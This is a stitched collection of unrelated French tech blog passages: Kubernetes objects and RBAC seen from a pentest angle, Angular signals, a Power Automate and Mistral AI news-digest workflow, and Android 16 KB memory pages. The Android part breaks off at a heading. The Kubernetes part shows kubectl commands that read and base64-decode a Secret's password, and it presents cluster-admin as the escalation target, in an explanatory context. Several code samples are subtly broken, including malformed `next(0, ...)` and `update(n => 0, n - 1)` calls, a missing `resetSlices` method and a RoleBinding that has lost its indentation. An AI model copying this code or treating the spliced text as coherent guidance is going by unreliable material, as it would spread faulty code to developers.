$ kubectl get secret app-secret
NAME         TYPE     DATA   AGE
app-secret   Opaque   2      34s

Comme il est possible de le constater, trois objets ont bien été créés dans le cluster : un Deployment, un PersistentVolumeClaim (stockage persistant) et un Secret, même si les deux derniers n’étaient pas montrés en YAML.

Avec la commande kubectl get, il est possible de lister leur état et de vérifier que le Deployment est prêt, que le PersistentVolumeClaim est lié à un volume et que le Secret est présent. Il est aussi possible de voir que les 2 pods rattachés au Deployment sont en exécution, conformément au nombre de réplicas demandé.

ℹ️ Information : Il est en soi possible de créer un pod unique qui contient ses conteneurs. Ce pod fonctionnerait, mais il resterait limité dans l’écosystème Kubernetes. Il ne bénéficierait pas pleinement des mises à jour contrôlées, de la reprise automatique en cas de panne, de l’augmentation du nombre d’instances ni d’une intégration avec le stockage persistant, la configuration réseau ou les secrets.

Secrets

Un Secret est un objet Kubernetes pour stocker des données sensibles comme des mots de passe, des clés ou des tokens. Il est stocké dans le magasin d’état du cluster, souvent etcd (comme tous les objets du cluster). Dans l’objet tel qu’il est stocké dans le cluster et renvoyé par l’API, les valeurs sont encodées en base64. Dans un manifeste local, il est possible de les écrire en clair et Kubernetes fera l’encodage, ou bien les fournir déjà encodées.

Exemple d’un manifeste local :

apiVersion: v1
kind: Secret
metadata:
  name: app-secret
type: Opaque
stringData:
  DB_USER: app
  DB_PASSWORD: s3cr3t

Après le déploiement de ce Secret dans le cluster Kubernetes, il est possible d’en récupérer les valeurs avec « kubectl ». Elles sont renvoyées encodées en base64 par l’API du plan de contrôle et peuvent être décodées si besoin.

# Lister
$ kubectl get secret app-secret
NAME         TYPE     DATA   AGE
app-secret   Opaque   2      34s

# Voir le contenu encodé
$ kubectl get secret app-secret -o yaml
apiVersion: v1
data:
  DB_PASSWORD: czNjcjN0
  DB_USER: YXBw
kind: Secret
metadata:
  name: app-secret
type: Opaque

# Récupérer et décoder une clé
$ kubectl get secret app-secret -o jsonpath='{.data.DB_PASSWORD}' | base64 -d
s3cr3t

D’un point de vue sécurité, le base64 n’est pas un chiffrement. Si une personne a accès aux Secrets et dispose des droits nécessaires, elle peut en lire les valeurs. Cela peut faciliter une compromission plus large et une latéralisation dans le cluster.

Exemple : un Secret contient des identifiants administrateur d’une application web. Un utilisateur du cluster ayant l’accès et les droits nécessaires peut récupérer ces identifiants, pourra se connecter à l’application avec des privilèges d’administration et potentiellement agir en dehors de son périmètre prévu.

ConfigMaps

Un objet Kubernetes ConfigMap permet de séparer la configuration du code. La même image tourne en dev, préprod et prod avec des valeurs différentes. La configuration se met à jour sans reconstruire l’image et peut être partagée entre plusieurs Deployments.

Il est théoriquement possible d’écrire des valeurs de configuration directement dans un Deployment ou de les embarquer dans l’image du conteneur. Cela fonctionne, mais oblige à modifier le manifeste et à redéployer pour chaque changement, ou à reconstruire l’image. On duplique alors la configuration entre environnements et le risque de fuite augmente.

Exemple :

apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
data:
  APP_MODE: "prod"
  API_URL: "https://api.example.com"

Un pod peut alors lire ces valeurs comme variables d’environnement ou en les montant sous forme de fichiers.

Bien que ce soit une mauvaise pratique, il arrive que des valeurs sensibles se retrouvent dans un ConfigMap. Comme son contenu est stocké et renvoyé en clair par l’API, toute personne ou tout pod ayant accès à l’objet peut les lire.

Extrait pour récupérer une valeur :

$ kubectl get configmap app-config -o jsonpath='{.data.API_URL}'
https://api.example.com

D’un point de vue sécurité, il arrive que des données sensibles y soient stockées par erreur. Or, contrairement aux Secrets, les ConfigMaps ne sont pas encodés : leur contenu est visible en clair. De plus, les droits de lecture (RBAC) sur les ConfigMaps sont souvent plus larges. Un attaquant ayant accès à ces objets peut donc récupérer des identifiants ou tokens immédiatement exploitables, sans aucune étape de décodage.

PersistentVolumeClaim (PVC) et PersistentVolume (PV)

Un PersistentVolumeClaim (PVC) est une demande de stockage persistant et un PersistentVolume (PV) est le volume obtenu en réponse au PVC : c’est l’objet concret qui représente le stockage dans le cluster (le « disque »).

Concrètement, cela permet à un pod d’obtenir un espace disque monté dans le conteneur. Les données restent présentes même si le pod est recréé. Si plusieurs pods montent le même PersistentVolumeClaim (PVC), ils partagent les mêmes fichiers.

Quand un PersistentVolumeClaim (PVC) est supprimé, la liaison avec le PersistentVolume (PV) disparaît et le pod perd le volume. Le PV peut rester ou être supprimé selon son réglage.

Exemple :

apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: web-data
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 1Gi

Cette demande de stockage de 1 Go permet, par exemple, à une application web d’enregistrer des fichiers envoyés par les utilisateurs dans /data. Si le pod redémarre ou est recréé, ces fichiers restent présents, car le volume persiste indépendamment du pod. Sans stockage persistant, le pod écrirait dans un système de fichiers éphémère et toute donnée serait perdue à chaque recréation du pod.

Cet objet présente des risques de sécurité. Par exemple, un utilisateur disposant des droits nécessaires peut récupérer des données sensibles stockées dans un PersistentVolume (PV). Des PersistentVolume (PV) peuvent aussi rester présents dans le cluster après la suppression du PersistentVolumeClaim (PVC) si le nettoyage n’a pas été effectué ou si la politique de rétention les conserve.

D’un point de vue sécurité, l’accès aux données d’un PersistentVolume (PV) est un risque direct : un utilisateur ou un pod ayant les droits nécessaires sur le PersistentVolumeClaim (PVC) peut lire des données sensibles stockées par l'application. Plus grave encore, si le PersistentVolume (PV) est mal configuré, il devient possible de monter un répertoire critique du nœud de travail lui-même. Cela permet potentiellement à un attaquant d'examiner et de modifier les fichiers du système d'exploitation du nœud, menant à une compromission totale de la machine hôte et potentiellement du cluster.

Objets de gestion de droits (RBAC)

ServiceAccount, Role et RoleBinding

Un ServiceAccount (SA) est l’identité d’un pod quand il doit parler à l’API Kubernetes qui est dans le plan de contrôle. Il permet de donner des permissions précises à une application via RBAC (rôles et liaisons). Par défaut, si rien n’est précisé, un pod utilise un ServiceAccount par défaut, ce qui est une mauvaise pratique.

Exemple d’un manifeste d’un ServiceAccount :

apiVersion: v1
kind: ServiceAccount
metadata:
  name: web-sa

À ce stade, ce ServiceAccount n’a aucun droit : il existe dans le cluster Kubernetes mais ne peut rien faire. Pour lui donner des permissions, on crée deux objets : un Role (les droits) et un RoleBinding (le lien entre le Role et le ServiceAccount).

Le Role définit les actions autorisées sur des ressources spécifiques :

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: web-read-config
rules:
  - apiGroups: [""]
    resources: ["configmaps"]
    verbs: ["get", "list", "watch"]

Et le dernier objet RoleBinding va lier l’objet Role à l’objet ServiceAccount qui va alors récupérer ces droits.

apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: web-read-config-binding
subjects:

kind: ServiceAccount
name: web-sa
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: web-read-config

L’avantage de ce fonctionnement est qu’il est alors possible de lier plusieurs objets ServiceAccount à un même Role et donc plusieurs ServiceAccount peuvent hériter du même droit. Cela évite la multiplication des objets.

⚠️ Attention : ces objets ne sont pas déclarés à l’échelle du cluster, mais au sein d’un sous-espace du cluster appelé namespace. L’explication de ce qu’est un namespace sera donnée dans le deuxième article, pas dans celui-ci. Afin de mieux comprendre ce fonctionnement, des exemples simples sont détaillés dans la suite de cet article.

ClusterRole et ClusterRoleBinding

Comme expliqué dans la partie précédente, les objets Kubernetes Role et RoleBinding ne sont pas définis à l’échelle du cluster, mais dans un sous-espace appelé namespace. À l’inverse, il existe des objets équivalents, avec la même logique, portés au niveau du cluster : ClusterRole et ClusterRoleBinding.

L’objectif est de définir des permissions qui s’appliquent à tous les sous-espaces (namespace) et de permettre l’administration du cluster sans dupliquer les règles partout. Par exemple, lier un sujet au ClusterRole cluster-admin via un ClusterRoleBinding accorde tous les droits sur l’API du cluster.

Exemple analogique simple

Afin d’expliquer au mieux le fonctionnement des droits au sein d’un cluster Kubernetes, voici une analogie simple en lien avec le milieu de l’entreprise :

Dans cette analogie, chaque département de l’entreprise représente un namespace.

Dans le département Marketing (Namespace), on crée le droit « obtenir un café gratuit » (Role). Alice (ServiceAccount) et Bob (ServiceAccount) reçoivent chacun une carte (RoleBinding) qui relie ce droit (Role) à leur identité. Leur carte est valide uniquement dans le département Marketing (Namespace).

Dans le département Finance (Namespace), Camille (ServiceAccount) possède une carte globale (ClusterRoleBinding) vers le droit « café gratuit entreprise » (ClusterRole). Elle peut utiliser tous les distributeurs de l’entreprise, y compris ceux d’autres départements (Namespaces).

Remarque : une carte de département (RoleBinding) peut aussi pointer vers un droit global (ClusterRole) ; dans ce cas, le droit reste limité au département (Namespace) où se trouve la carte (RoleBinding).

Aspect sécurité

Ces objets Kubernetes sont essentiels à connaître et à maîtriser lors d’un pentest de cluster. Comme en pentest Active Directory, l’objectif est d’escalader ses privilèges jusqu’au contrôle total. Dans AD, cela correspond au groupe « Administrateurs du domaine ». Dans Kubernetes, cela revient à obtenir le ClusterRole cluster-admin, rattaché via un ClusterRoleBinding. Ce niveau donne tous les droits sur l’API du cluster. C’est le Graal 🏆

Conclusion et ouverture

Dans ce premier article, on a présenté les bases : nœuds, plan de contrôle, objets clés (Pods, Deployments, Secrets, ConfigMaps, PVC/PV) et les éléments d’identité et de droits avec les ServiceAccounts et le RBAC.

La suite ira plus loin sur la sécurité d’un cluster Kubernetes. On abordera le cloisonnement, qu’il soit logique (namespaces) ou réseau (communications entre pods et segments), en expliquant leur fonctionnement et les principaux points de sécurité associés : isolation, contrôle des accès et politiques de communication.

• Une brève histoire de la gestion de state dans Angular

• Pourquoi Angular adopte les signals

• Des exemples de gestion de state entre trois composants utilisant l'API @Input et @Output

• Un exemple montrant comment les signals simplifient la gestion de state

• Une explication des signals

• Vue d'ensemble de l'API des signals

• L'avenir d'Angular sans zone et basé sur les signals

Brève histoire de la gestion de state dans Angular

L'histoire de la gestion de state dans Angular a connu de grands changements et plusieurs évolutions. À ses débuts, avec AngularJS, il n'existait aucun modèle formel de gestion de state. C'est l'une des raisons qui ont poussé l'équipe Angular à repenser entièrement le framework et, en 2016, à introduire Angular 2. Angular 2 a marqué un tournant avec un flux de données unidirectionnel, contrairement à AngularJS où la liaison bidirectionnelle était la norme.

Dans AngularJS, les références aux objets enfants étaient maintenues dans le composant parent, ce qui signifiait qu'une mise à jour dans l'enfant affectait automatiquement le parent. Bien que, dans Angular 2, il ait été encore possible d'utiliser la liaison bidirectionnelle grâce à NgModel(), cette approche a progressivement été remplacée par l'API @Input() et @Output(), favorisant une liaison unidirectionnelle. Dans ce modèle, le parent reste informé des changements dans l'enfant, mais si l'enfant doit modifier une valeur stockée dans le parent, il doit envoyer un événement via @Output(). Cela impliquait que la gestion explicite des événements était toujours nécessaire.

Le flux unidirectionnel poussait clairement vers une structure hiérarchique, où les composants étaient organisés sous forme d'un arbre. Il encourageait également fortement le schéma consistant à diviser les composants entre "intelligents" et "représentationnels". Cependant, les règles n'étaient pas strictement définies, car Angular permettait encore l'utilisation de services injectés partout dans l'application, souvent utilisés pour partager des données entre plusieurs composants.

Complexité des applications lourdes

Dans les applications lourdes et complexes axées sur les données, les développeurs utilisaient souvent des bibliothèques de gestion de state globales comme NgRx ou NgXS. Bien que cela rendait possible la gestion des states complexes, cela ajoutait également de la complexité et beaucoup de code répétitif (boilerplate). En conséquence, le débogage des applications devenait parfois difficile, notamment pour retracer l'origine des modifications d'un state.

Transition vers les "Signals"

Afin de résoudre ces problèmes de longue date liés au modèle original de détection des changements et à la gestion de state des applications, l'équipe Angular se dirige de plus en plus vers les signals. Les signals visent à réduire le besoin d'utiliser des bibliothèques de gestion de states lourdes et complexes.

Exemple pratique

Prenons l'exemple de deux composants différents partageant un state commun. Auparavant, il était très courant d'utiliser des services combinés avec RxJS pour gérer cet state. Dans une application Angular typique, il était nécessaire de s'abonner explicitement aux modifications des valeurs. Voici un aperçu de ce fonctionnement traditionnel avant l'arrivée des "signals".

// service

import { Injectable } from '@angular/core';
import { BehaviorSubject } from 'rxjs';

@Injectable({ providedIn: 'root' })
export class RacletteService {
  private slicesSubject = new BehaviorSubject<number>(0);
  slices$ = this.slicesSubject.asObservable();

  addSlice() {
    this.slicesSubject.next(this.slicesSubject.value + 1);
  }

  removeSlice() {
    this.slicesSubject.next(0, this.slicesSubject.value - 1);
  }

  resetSlices() {
    this.slicesSubject.next(0);
  }
}

• slicesSubject conserve la valeur actuelle et émet cette valeur à tous les abonnés.

• slices$ est un observable auquel les composants peuvent s'abonner.

• Le service, utilisé comme un "mini-store," contient des méthodes pour mettre à jour le state.

Le parent doit écouter les événements et mettre à jour le state. Le service doit mettre à jour la valeur, et tous les composants utilisant cette valeur doivent s'abonner aux changements.

Ainsi, nous aurions typiquement un composant qui met à jour le state :

import { Component } from '@angular/core';
import { RacletteService } from './raclette.service';

@Component({
  selector: 'raclette-controls',
  template: `
    <button (click)="raclette.addSlice()">Add Slice 🧀</button>
    <button (click)="raclette.removeSlice()">Remove Slice 🧀</button>
    <button (click)="raclette.resetSlices()">Reset 🧀</button>
  `
})
export class RacletteControlsComponent {
  constructor(public raclette: RacletteService) {}
}

et d'autres composants qui liraient cette state :

import { Component, OnInit } from '@angular/core';
import { RacletteService } from './raclette.service';

@Component({
  selector: 'raclette-display',
  template: `<p>Slices on the plate: {{ slices }}</p>`
})
export class RacletteDisplayComponent implements OnInit {
  slices = 0;

  constructor(private raclette: RacletteService) {}

  ngOnInit() {
    this.raclette.slices$.subscribe(value => {
      this.slices = value;
    });
  }
}

Tous les composants utilisant ce state devraient être abonnés à ses changements et les écouter afin de mettre à jour la vue en conséquence.
On peut constater que, si notre composant lit de nombreux states différents, il pourrait rapidement être surchargé par un grand nombre d'abonnements lors de son initialisation. Si les manipulations des states ne sont pas simples, nous nous retrouverions souvent à devoir imbriquer nos observables ou les consommer simultanément en utilisant .switchMap, .mergeMap, combineLatest, etc.

Imaginez que nous souhaitons ajouter des pommes de terre dans notre RacletteService et lire leur state en parallèle avec les states des tranches de fromage pour calculer un state dérivé :

// service

import { Injectable } from '@angular/core';
import { BehaviorSubject } from 'rxjs';

@Injectable({ providedIn: 'root' })
export class RacletteService {
  private potatoesSubject = new BehaviorSubject<number>(0);
  potatoes$ = this.potatoesSubject.asObservable();

  addPotato() {
    this.potatoesSubject.next(this.potatoesSubject.value + 1);
  }

  removePotato() {
    this.potatoesSubject.next(this.potatoesSubject.value - 1);
  }
}

Ensuite, dans notre composant d'affichage, nous ferions très souvent quelque chose comme ceci :

import { Component, OnInit } from '@angular/core';
import { RacletteService } from './raclette.service';
import { combineLatest } from 'rxjs';

@Component({
  selector: 'raclette-display',
  template: `
    <p>Raclette slices: {{ slices }}</p>
    <p>Potatoes: {{ potatoes }}</p>
    <p>Total items: {{ totalItems }}</p>
  `
})
export class RacletteDisplayComponent implements OnInit {
  slices = 0;
  potatoes = 0;
  totalItems = 0;

  constructor(private raclette: RacletteService) {}

  ngOnInit() {
    combineLatest([this.raclette.slices$, this.raclette.potatoes$])
      .subscribe(([slicesValue, potatoesValue]) => {
        this.slices = slicesValue;
        this.potatoes = potatoesValue;
        this.totalItems = slicesValue + potatoesValue;
      });
  }  
}

Ou une version moins propre que l'on voit souvent dans les applications Angular :

ngOnInit() {
  this.raclette.slices$.subscribe(slicesValue => {
    this.slices = slicesValue;
    this.raclette.potatoes$.subscribe(potatoesValue => {
      this.potatoes = potatoesValue;
      this.totalItems = slicesValue + potatoesValue;
    });
  });
}

Examinons maintenant comment les signals changent le gestion de state d'Angular :

Avant les signals, notre state était partagé. Avec les signals, tout state peut être rendu réactif par défaut, et le signal dans le template réagit automatiquement à ses changements. Plus besoin d'abonnements, ni d'émettre des événements pour indiquer à Angular qu'une valeur est susceptible de changer.

Nous ne dépendons plus de RxJS et Zone.js pour suivre le state de notre application. Les signals nous offrent une réactivité fine. Zone.js effectuait un monkey-patching sur toutes les tâches asynchrones, ce qui entraînait le déclenchement d'une détection de changement complète à travers tout l'arbre des composants. En revanche, les signals sont des primitives réactives (reactive primitives) qui suivent explicitement les dépendances. Lorsqu'un signal est mis à jour, Angular sait quels composants consomment ce signal et ne met à jour que ceux-ci, pas tout l'arbre.

Avec une réactivité fine, les signals apportent également des moyens plus simples de gérer le state et moins de code. Prenons le même code écrit avec les signals :

// raclette.service.ts
import { Injectable, signal, computed } from '@angular/core';

@Injectable({ providedIn: 'root' })
export class RacletteService {
  slices = signal(0);
  potatoes = signal(0);
  totalItems = computed(() => this.slices() + this.potatoes());

  addSlice() {
    this.slices.update(n => n + 1);
  }

  removeSlice() {
    this.slices.update(n => 0, n - 1);
  }
  addPotato() {
    this.potatoes.update(n => n + 1);
  }

  removePotato() {
    this.potatoes.update(n => 0, n - 1);
  }
}

Composant 1 :

import { Component } from '@angular/core';
import { RacletteService } from './raclette.service';

@Component({
  selector: 'raclette-controls',
  template: `
    <button (click)="raclette.addSlice()">Add Slice 🧀</button>
    <button (click)="raclette.removeSlice()">Remove Slice 🧀</button>
    <button (click)="raclette.resetSlices()">Reset 🧀</button>
    <button (click)="raclette.addPotato()">Add Potato 🥔</button>
    <button (click)="raclette.removePotato()">Remove Potato 🥔</button>
  `
})
export class RacletteControlsComponent {
  constructor(public raclette: RacletteService) {}
}

Composant 2 :

import { Component } from '@angular/core';
import { RacletteService } from './raclette.service';

@Component({
  selector: 'raclette-display',
  template: `
    <p>Raclette slices: {{ raclette.slices() }}</p>
    <p>Potatoes: {{ raclette.potatoes() }}</p>
    <p>Total items: {{ raclette.totalItems() }}</p>
  `
})
export class RacletteDisplayComponent {
  constructor(public raclette: RacletteService) {}
}

Nous pouvons immédiatement comprendre pourquoi, avec les signals, les abonnements deviennent souvent inutiles. Les signals d'Angular "enveloppent" une valeur et notifient tous les consommateurs lorsque cette valeur est modifiée. De plus, nous bénéficions d'une gestion et d'un accès plus simples aux valeurs calculées, sans besoin d'utiliser combineLatest(). Le code devient ainsi plus clair et plus lisible.

Pour parvenir à cela, l'équipe Angular s'est tournée vers certaines fonctionnalités avancées de TypeScript.
Examinons ce qui se cache vraiment derrière la "magie" des signals d'Angular.

L'API ressemble à ceci :

type Signal<T> = (() => T) & {
  [SIGNAL]: unknown;
}

Expliquons cela :

(() => T) — est une fonction type, ce qui signifie que notre signal est appelable comme n'importe quelle autre fonction. Lorsqu'on l'appelle, il retourne une valeur de type T. Cela nous permet d'écrire du code comme ceci :

const slices: Signal<number> = () => 3;

slices(); // 3

Mais en même temps, notre signal est une propriété marquée (branded property) :

{
  [SIGNAL]: unknown;
}

Cette propriété SIGNAL n'est pas destinée à être utilisée et existe uniquement pour marquer (ou plus précisément pour identifier) une valeur comme une valeur signal. Elle retourne unknown car nous ne nous soucions pas de la valeur qu'elle renvoie.

Le typage du signal comme valeur d'intersection (&) indique une valeur qui est à la fois une fonction ((() => T)) et possède une propriété SIGNAL spéciale ({ SIGNAL: unknown; }). Cette propriété SIGNAL ajoutée empêche notre compilateur de traiter toutes les fonctions comme des signals, car seules les valeurs créées en tant que signals peuvent correspondre à ce type :

type Signal<T> = () => T;
const fn = () => 123;
const s: Signal<number> = fn; // notre signal peut etre une fonction

Mais le code suivant générera une erreur :

const fn = () => 123; 
const s: Signal<number> = fn; // notre fonction ne peut pas être un signal car    //manque la propriété [SIGNAL].

Ainsi, un signal Angular est une valeur qui :

1. peut être appelée comme une fonction retournant T, et

2. possède une propriété dont la clé est exactement SIGNAL.

De plus, l'équipe Angular nous offre une option qui, si nous marquons notre signal comme modifiable (writable), nous donne accès à une API permettant de gérer son state, comme set() pour définir le state du signal ou update() pour calculer une nouvelle valeur à partir de l'ancienne. Nous avons également la possibilité de retourner la valeur du signal comme étant en read-only.

interface WritableSignal<T> extends Signal<T> {
  set(value: T): void;
  update(updateFn: (value: T) => T): void;
  asReadonly(): Signal<T>;
  override [SIGNAL]: unknown;
}

Signals : Vers un Angular plus Moderne

Un autre grand avantage des signals est la prévention des fuites mémoire. Il n'est plus nécessaire de se désabonner comme c'était le cas avec les Observables.
Avec les signals, la "subscription" est automatique dans le template. Les fuites mémoire sont plus difficiles à produire, car Angular détruira les références des signals lorsque l'utilisateur quittera la page, c'est-à-dire lorsque le composant sera détruit.

En introduisant les signals, Angular évolue vers des frameworks modernes, plus réactifs et flexibles. Nous pouvons observer cette idée se développer avec Angular 21 (en développement, prévu en novembre 2025), qui sera désormais zoneless par défaut.
ZoneJS utilisait les événements DOM et les tâches asynchrones pour indiquer quand le state "pourrait" changer. Cela provoquait de nombreux problèmes de performance. En le supprimant, on garantit que la détection des changements ne se déclenche plus sur toutes les opérations asynchrones.

Angular 21 exploite également les signals pour gérer le state des formulaires en introduisant (encore en version préliminaire) des formulaires alimentés par les signals. Plus d'informations à ce sujet dans le prochain article.

Ressources supplémentaires :

Documentation officielle Angular :

• Sur les "Signals" : https://angular.dev/guide/signals

• Sur le "Zoneless" : https://angular.dev/guide/zoneless

L’IMAGE: https://unsplash.com/fr/photos/homme-tenant-de-la-poudre-rose-xW4bS_Rj5Po?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink

Dans le premier article, nous avons vu comment automatiser la collecte et la synthèse d’informations. Ici, nous passons à l’étape suivante : transformer ces données en insights exploitables. Alors, pourquoi ne pas aller plus loin ?

L’objectif n’est plus seulement de réduire le volume d’informations à traiter, mais de transformer ces données en insights directement exploitables. Imaginez recevoir, chaque matin, les cinq sujets les plus pertinents, analysés et triés selon vos critères, directement dans votre boîte mail.

C’est ce que nous allons explorer ici : l’automatisation intelligente, où Power Automate et l’IA travaillent de concert pour filtrer, analyser et diffuser l’information stratégique.

Automatiser pour gagner du temps – rappel rapide

Même si vous avez déjà un workflow de veille, parcourir toutes les données peut rester chronophage.
La première étape, automatiser la collecte et la synthèse, permet déjà de libérer du temps et de réduire les erreurs.

Dans le premier article, nous avons vu comment Power Automate pouvait :

• Récupérer automatiquement des articles depuis différentes sources

• Filtrer et synthétiser les contenus via un modèle IA

• Stocker les résultats de manière structurée dans Excel

Cette étape a posé la fondation pour aller plus loin, en ajoutant une sélection intelligente et une diffusion automatisée.

Coupler IA et Power Automate – vers des insights pertinents

Le nouveau workflow ajoute plusieurs couches d’intelligence :

1. Lecture du fichier Excel : récupération de toutes les données issues des phases précédentes.

2. Boucle sur chaque sujet : analyse ligne par ligne pour ne rien manquer.

3. Appel à l’IA via HTTP : évaluation selon vos critères (actualité, originalité, clarté, valeur ajoutée).

4. Formatage et normalisation : transformation des réponses brutes en scores exploitables.

5. Sélection des 5 meilleurs sujets : tri automatique des contenus les plus pertinents.

6. Envoi d’un email synthétique : diffusion automatique aux destinataires ciblés.

Comment ça se traduit concrètement ?

• On définit une récurrence, comme un réveil qui déclenche le workflow automatiquement.

• Le flow récupère les données depuis Excel et exécute un script de filtrage (ex. ne garder que les lignes du jour).

• On initialise des variables pour manipuler les données ligne par ligne.

• On envoie chaque contenu à l’IA avec un prompt préalablement travaillé, puis on récupère et formate la réponse.

• Enfin, l’email automatique est généré et envoyé aux bonnes personnes, transformant un flux massif d’informations en veille opérationnelle et actionnable.

1. Tout d’abord on définit une récurrence. Cette étape sert à définir la fréquence à laquelle votre workflow doit s'exécuter automatiquement.

2. Cette étape interroge un tableau Excel pour récupérer toutes les lignes présentes. Cela permet d’acquérir un ensemble de données à traiter dans les étapes suivantes.

3. Cette étape exécute un script pré écrit pour traiter, analyser ou transformer les données listées à partir du tableau, ici en l’occurrence on veut faire un tri par date pour n’obtenir que les lignes du jour.

4. Puis on initialise différentes variables, ici en l’occurrence 2, de type chaîne.

1. On définit une boucle pour itérer sur une collection d'éléments. Si vous avez une liste de données (par exemple, des éléments d'un tableau), cette étape vous permet d'effectuer des actions pour chaque élément de cette liste. Ici on va itérer sur la liste de lignes retournées précédemment.

2. Pour chaque ligne retournée, on va les stocker dans une variable et les concaténer dans une autre variable.

1. On fait ensuite un appel HTTP à Mistral AI (ici, j’ai utilisé Mistral AI comme exemple, mais le principe fonctionnerait avec n’importe quel modèle IA) en lui passant le contenu de la variable précédente en complément d’un prompt préalablement travaillé.

2. On récupère la réponse de Mistral et on l’enregistre dans la variable rep mistral.

3. On formate dans dans une autre variable pour remplacer certains caractères, on le fait 2 fois (caractères différents).

4. Pour finir on envoie un e-mail contenant les données traitées sous forme de rapport. C’est souvent la sortie finale du flux considérant qu’elle informe les parties prenantes ou stocke les résultats.

Ce workflow illustre l’étape finale : l’IA ne se contente pas de filtrer et résumer les articles, elle permet de sélectionner automatiquement les sujets les plus pertinents et de les diffuser directement aux bonnes personnes, transformant ainsi un flux massif d’informations en une veille opérationnelle et actionnable.

La construction de ce workflow m’a pris environ une demi-journée, mais avec l’expérience, il est possible de le reproduire en une heure. La partie la plus chronophage reste la mise au point du prompt IA pour obtenir des synthèses précises.

Cas d’usage concrets

L’automatisation intelligente n’est pas limitée à la veille :

• Suivi marché : identifier les tendances importantes et les anomalies.

• Analyse client : détecter des signaux faibles dans les tickets ou retours clients.

• Opportunités stratégiques : prioriser les informations qui ont le plus de valeur pour l’organisation.

Chaque cas montre comment l’IA agit comme un filtre intelligent, délivrant directement des insights exploitables.

Ce que cette approche change vraiment

• Gain de temps : plus besoin de parcourir manuellement des dizaines d’articles.

• Sélection intelligente : l’IA filtre selon des critères définis et ajustables.

• Diffusion proactive : les informations clés arrivent directement aux bonnes personnes.

• Simplicité d’intégration : Power Automate et Excel suffisent, pas besoin de solutions coûteuses ou complexes.

Mais attention : l’IA n’est pas infaillible. Il faut superviser les résultats, ajuster régulièrement les critères et considérer l’outil comme un assistant, pas un substitut à l’intelligence humaine.

Conclusion – L’automatisation intelligente comme futur de la prise de décision

Ce workflow clôt notre série : il transforme une tâche manuelle et fastidieuse en une chaîne fluide, intelligente et proactive.

L’enjeu dépasse la simple automatisation : il s’agit de rendre la veille stratégique plus réactive, ciblée et utile, et de fournir des insights directement exploitables pour la décision.

Les perspectives sont nombreuses :

• Intégrer la diffusion dans Teams pour plus de collaboration

• Exploiter Dataverse ou SQL pour plus de scalabilité

• Ajouter des dashboards Power BI pour visualiser les tendances

• Entraîner des modèles IA personnalisés selon vos critères métier

• Et pourquoi pas, générer des podcasts audio pour consommer l’information en mobilité

L’automatisation intelligente n’est plus un rêve : grâce à Power Automate et l’IA, elle devient un véritable levier stratégique.

Et vous ? Êtes-vous prêt à franchir le pas ? Quelles tâches ou décisions dans votre organisation pourraient bénéficier de cette approche ?

Comprendre les pages mémoire

Le fonctionnement actuel

Lorsque votre application lit ou écrit des variables, elle les stocke dans la mémoire volatile (RAM). Pour optimiser l'organisation et réduire le gaspillage d'espace, les données sont regroupées dans des blocs de taille fixe appelés pages mémoire. Historiquement, Android utilise des pages de 4 KB.

Votre application n'accède pas directement à la mémoire physique mais interagit avec une couche d'abstraction : la mémoire virtuelle. Cette approche isole les processus entre eux, tandis que le système traduit les adresses virtuelles en adresses physiques réelles.

L'évolution vers 16 KB

Prenons un exemple concret : votre application doit accéder à un buffer de 15 KB.

Avec des pages 4 KB :

• 4 pages nécessaires pour récupérer l'ensemble du buffer

• 4 opérations de traduction d'adresses par le système

• Overhead système multiplié

Avec des pages 16 KB :

• 1 seule page suffit

• 1 seule opération de traduction

• Réduction significative de l'overhead système

Scénario : Accès à un buffer de 15KB

Le TLB (Translation Lookaside Buffer) est un cache matériel qui accélère la conversion des adresses mémoire virtuelles en adresses physiques réelles, évitant ainsi au processeur de consulter systématiquement la table des pages en RAM.

Bénéfices mesurés

Les tests montrent des améliorations notables :

• Réduction de 4,6% de la consommation énergétique

• Jusqu'à 30% d'amélioration du temps de lancement des applications

• Accès mémoire plus rapide grâce à la réduction des lookups d'adresses

Le revers de la médaille : une consommation mémoire potentiellement plus élevée, car le système réserve une page complète de 16 KB même si l'application n'utilise qu'une fraction de cet espace.

Guide de migration

Applications Java/Kotlin pures

Bonne nouvelle : Si votre application est entièrement développée en Java ou Kotlin, aucune action n'est requise. L'Android Runtime a été mis à jour pour gérer automatiquement la nouvelle taille de page.

Applications avec dépendances natives

Pour les applications utilisant du code natif, plusieurs étapes sont nécessaires :

1. Mise à jour des outils de développement

• Upgrader vers AGP 8.5.1 ou une version plus récente

• Utiliser NDK r28 ou supérieur pour recompiler le code natif

• Privilégier les librairies natives non compressées (les versions compressées restent compatibles)

2. Adaptation du code natif

• Éliminer toutes les suppositions sur la taille des pages dans votre codebase

• Utiliser les APIs système pour déterminer dynamiquement la taille des pages

• Mettre à jour toutes les dépendances natives vers des versions compatibles

3. Gestion des dépendances

Contactez les développeurs de vos dépendances natives pour obtenir des versions mises à jour si nécessaire.

Outils de vérification

Android Studio

La dernière version d'Android Studio intègre plusieurs outils d'analyse :

• APK Analyzer : vérifie la compatibilité de chaque dépendance native

• Alertes automatiques pour les librairies ou APK non conformes

• Mise en évidence des librairies natives non alignées sur 16 KB

Détection des problèmes de compatibilité avec l’APK Analyser

Détection des bibliothèques natives non conformes avec Lint

Google Play Console

L'App Bundle Explorer indique clairement quelles versions de votre application sont compatibles avec les pages 16 KB.

Alerte de compatibilité 16 KB dans la console du Play Store

Tests et validation

Environnements de test recommandés

• Émulateur 16 KB disponible dans Android Studio

• Option développeur sur les Pixel 8 et versions ultérieures

• Tests sur les deux environnements (4 KB et 16 KB) pour éviter les régressions

Configuration d'un émulateur avec une image système Android 16 basée sur 16 KB

Stratégie de test

1. Tester l'ensemble des fonctionnalités critiques

2. Vérifier les performances avant/après migration

3. Valider la stabilité sur différentes configurations mémoire

4. Contrôler la consommation mémoire de l'application

Échéances importantes

1er novembre 2025 : Date limite pour la compatibilité obligatoire

À partir de cette date :

• Les applications ciblant Android 15+ devront être compatibles 16 KB

• Les mises à jour non conformes seront suspendues

• L’installation sera impossible sur les futurs appareils équipés d’un système Android compilé avec un kernel utilisant des pages mémoire de 16 KB au lieu de 4 KB.

Possibilité d'extension de délai

